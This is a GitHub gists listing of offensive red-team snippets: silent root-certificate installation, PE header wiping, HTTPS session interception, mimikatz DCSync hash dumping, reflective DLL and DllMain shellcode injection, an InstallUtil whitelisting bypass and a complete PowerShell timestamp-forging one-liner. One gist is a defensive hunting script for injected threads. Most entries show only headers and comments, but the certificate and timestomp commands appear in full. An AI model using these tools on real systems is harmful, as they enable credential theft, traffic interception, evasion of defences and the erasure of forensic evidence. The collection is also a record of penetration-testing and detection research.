ahhh’s gists

ahhh / script.ps1

Created January 24, 2018 06:59

Hooking MessageBox For No-Prompt Trusted Root Certificate Install


	#Verify Not Present
	( Get-ChildItem Cert:\CurrentUser\Root \| Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" })
	#Import-Certificate
	( Get-ChildItem -Path C:\Test\thing.cer ) \| Import-Certificate -CertStoreLocation cert:\CurrentUser\Root
	#Prompted
	Remove-Item -Path cert:\CurrentUser\Root\5C205339AE9FA846FA99D3FFF0CDEE65EB8D8E99

ahhh / WipePEHeader.cpp

Created January 29, 2018 10:16 — forked from jackson5sec/WipePEHeader.cpp

	#include "stdafx.h"
	#include <Windows.h>
	#include <iostream>

	void WipePEHeader(HANDLE GetModuleBase)
	{
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)GetModuleBase;
	PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDosHeader + (DWORD)pDosHeader->e_lfanew);

	printf("NT Header at : %p\n", pNTHeader);

ahhh / InterceptorThing.ps1

Created January 31, 2018 05:16

Interceptor - Normal User No Admin Required.

	<#
	.SYNOPSIS

	This script demonstrates the ability to capture and tamper with Web sessions.
	For secure sessions, this is done by dynamically writing certificates to match the requested domain.
	This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack.

	Function: Interceptor
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

ahhh / Get-InjectedThread.ps1

Created February 9, 2018 17:37 — forked from jaredcatkinson/Get-InjectedThread.ps1

Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone

	function Get-InjectedThread
	{
	<#

	.SYNOPSIS

	Looks for threads that were created as a result of code injection.

	.DESCRIPTION

ahhh / Invoke-DCSync.ps1

Created March 20, 2018 22:05 — forked from HarmJ0y/Invoke-DCSync.ps1

What more could you want?

This file has been truncated, but you can view the full file.

	function Invoke-DCSync
	{
	<#
	.SYNOPSIS

	Uses dcsync from mimikatz to collect NTLM hashes from the domain.

	Author: @monoxgas

	Invoke-ReflectivePEInjection

ahhh / gist:efc2814fadba4d684c73ba6f09852df6

Created April 28, 2018 09:57

WMIKatz - Are you afraid

This file has been truncated, but you can view the full file.

	<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:vb="urn:the-xml-files:xslt-vb" xmlns:user="placeholder" version="1.0">
	<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->

	<xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
	<xsl:strip-space elements="*" />

	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[

ahhh / ShellcodeRDI.go

Created February 13, 2019 03:23 — forked from leoloobeek/ShellcodeRDI.go

Go implementation of https://github.com/monoxgas/sRDI/

	package main

	/*
	*
	* This is just a Go implementation of https://github.com/monoxgas/sRDI/
	* Useful if you're trying to generate shellcode for reflective DLL
	* injection in Go, otherwise probably not much use :)
	*
	* The project, shellcode, most comments within this project
	* are all from the original project by @SilentBreakSec's Nick Landers (@monoxgas)

ahhh / gethelp.cs

Created May 13, 2019 15:13

Help Me! MSDN InstallUtil - https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.installer.helptext?view=netframework-4.8

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

ahhh / DllMainThread.c

Created June 20, 2019 18:59 — forked from securitytube/DllMainThread.c

Launch Shellcode as a Thread via DllMain rather than a new process

	// Dll Hijacking via Thread Creation
	// Author - Vivek Ramachandran
	// Learn Pentesting Online -- http://PentesterAcademy.com/topics and http://SecurityTube-Training.com
	// Free Infosec Videos -- http://SecurityTube.net



	#include <windows.h>
	#define SHELLCODELEN 2048

ahhh / gist:7643cd8705697a4b5302edad1b41ee37

Created September 12, 2019 20:29 — forked from obscuresec/gist:7b0cf71d7a8dd5e7b54c

PowerShell TimeStomp

PowerShell.exe -com {$file=(gi c:\demo\test.txt);$date='01/03/2006 12:12 pm';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}

Dan Borges ahhh